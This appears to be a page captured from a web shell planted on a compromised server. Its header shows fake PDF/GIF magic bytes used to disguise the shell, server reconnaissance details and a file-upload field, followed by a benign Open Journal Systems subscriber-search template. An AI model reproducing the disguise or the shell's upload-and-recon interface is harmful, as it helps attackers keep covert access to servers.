%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/themes/IntvJournal/templates/subscription/ |
Upload File : |
{**
* templates/subscription/users.tpl
*
* Copyright (c) 2003-2012 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* Search form for users
*
*
*}
{strip}
{assign var="pageTitle" value=$pageTitle}
{include file="common/header.tpl"}
{/strip}
{if $subscriptionCreated}
<br/>{translate key="manager.subscriptions.subscriptionCreatedSuccessfully"}<br/>
{/if}
<p>{translate key="manager.subscriptions.selectSubscriber.desc"}</p>
<form method="post" id="submit" action="{if $subscriptionId}{url op="selectSubscriber" path=$redirect subscriptionId=$subscriptionId}{else}{url op="selectSubscriber" path=$redirect}{/if}">
<select name="searchField" size="1" class="selectMenu">
{html_options_translate options=$fieldOptions selected=$searchField}
</select>
<select name="searchMatch" size="1" class="selectMenu">
<option value="contains"{if $searchMatch == 'contains'} selected="selected"{/if}>{translate key="form.contains"}</option>
<option value="is"{if $searchMatch == 'is'} selected="selected"{/if}>{translate key="form.is"}</option>
<option value="startsWith"{if $searchMatch == 'startsWith'} selected="selected"{/if}>{translate key="form.startsWith"}</option>
</select>
<input type="text" size="15" name="search" class="textField" value="{$search|escape}" /> <input type="submit" value="{translate key="common.search"}" class="button" />
</form>
<p>{foreach from=$alphaList item=letter}<a href="{if $subscriptionId}{url op="selectSubscriber" path=$redirect searchInitial=$letter subscriptionId=$subscriptionId}{else}{url op="selectSubscriber" path=$redirect searchInitial=$letter}{/if}">{if $letter == $searchInitial}<strong>{$letter|escape}</strong>{else}{$letter|escape}{/if}</a> {/foreach}<a href="{if $subscriptionId}{url op="selectSubscriber" path=$redirect subscriptionId=$subscriptionId}{else}{url op="selectSubscriber" path=$redirect}{/if}">{if $searchInitial==''}<strong>{translate key="common.all"}</strong>{else}{translate key="common.all"}{/if}</a></p>
<div id="users">
<table width="100%" class="listing">
<tr><td colspan="4" class="headseparator"> </td></tr>
<tr class="heading" valign="bottom">
<td width="25%">{translate key="user.username"}</td>
<td width="35%">{translate key="user.name"}</td>
<td width="30%">{translate key="user.email"}</td>
<td width="10%" align="right"></td>
</tr>
<tr><td colspan="4" class="headseparator"> </td></tr>
{iterate from=users item=user}
{assign var="userid" value=$user->getId()}
<tr valign="top">
<td>{if $isJournalManager}<a class="action" href="{url page="manager" op="userProfile" path=$userid}">{/if}{$user->getUsername()|escape}{if $isJournalManager}</a>{/if}</td>
<td>{$user->getFullName(true)|escape}</td>
<td class="nowrap">
{assign var=emailString value=$user->getFullName()|concat:" <":$user->getEmail():">"}
{url|assign:"url" page="user" op="email" to=$emailString|to_array}
{$user->getEmail()|truncate:20:"..."|escape} {icon name="mail" url=$url}
</td>
<td align="right" class="nowrap">
<a href="{if $subscriptionId}{url op="editSubscription" path=$redirect|to_array:$subscriptionId userId=$user->getId()}{else}{url op="createSubscription" path=$redirect userId=$user->getId()}{/if}" class="action">{translate key="manager.subscriptions.select"}</a>
</td>
</tr>
<tr><td colspan="4" class="{if $users->eof()}end{/if}separator"> </td></tr>
{/iterate}
{if $users->wasEmpty()}
<tr>
<td colspan="4" class="nodata">{translate key="common.none"}</td>
</tr>
<tr><td colspan="4" class="endseparator"> </td></tr>
{else}
<tr>
<td colspan="3" align="left">{page_info iterator=$users}</td>
<td colspan="2" align="right">{page_links anchor="users" name="users" iterator=$users searchInitial=$searchInitial searchField=$searchField searchMatch=$searchMatch search=$search dateFromDay=$dateFromDay dateFromYear=$dateFromYear dateFromMonth=$dateFromMonth dateToDay=$dateToDay dateToYear=$dateToYear dateToMonth=$dateToMonth}</td>
</tr>
{/if}
</table>
{url|assign:"selectSubscriberUrl" op="selectSubscriber" path=$redirect}
<a href="{url op="createUser" source=$selectSubscriberUrl}" class="action">{translate key="manager.people.createUser"}</a>
</div>
{include file="common/footer.tpl"}